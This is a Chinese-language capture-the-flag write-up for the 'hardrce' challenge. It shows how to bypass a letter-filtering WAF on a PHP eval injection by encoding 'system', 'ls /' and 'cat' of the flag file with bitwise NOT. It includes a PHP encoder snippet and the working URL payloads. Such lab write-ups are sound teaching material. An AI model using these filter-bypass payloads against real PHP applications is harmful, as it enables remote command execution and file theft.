0%

[SWPUCTF 2021 新生赛]hardrce

2025-04-14 20:00By
GWRJX
无字母RCERCEWAF绕过

Problem: [SWPUCTF 2021 新生赛]hardrce

思路

  • 解题大致思路
    题目是一个无字母RCE绕过,前面做过rce漏洞的题目,通过eval函数构造执行就可以了,但是此题目会屏蔽某些特殊符号和大小写字母

1744646734590

不论如何先尝试一下,发现被过滤了

/?wllm=system('pwd');

可以通过异或,取反来绕过(~可以进行取反,然后通过urlencode函数变成url编码)

<?php $a=urlencode(~'system'); $c=urlencode(~'ls /'); $b=urlencode(~'cat /flllllaaaaaaggggggg'); echo $a; echo $c; echo $b; //echo '(~'.$a.')'.'(~'.$b.')'; ?>

1744647836426

尝试使用(再次通过~来取反恢复为原来的密码)

(~%8F%9C%9E...)(~%9C%9E...) // 等价于: ('system')('cat /flag');

括号在此处有两个关键作用:

  1. 包裹函数名(~%8F%9C%9E...) 会被优先计算,结果作为函数名。
  2. 包裹参数(~%9C%9E...) 会被计算为字符串参数。
/?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

得到,发现了flag

1744648061063

尝试获取flag内容

/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98)

得到flag

1744648291412

EXP

  • 具体攻击代码

总结

  • 对该题的考点总结
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论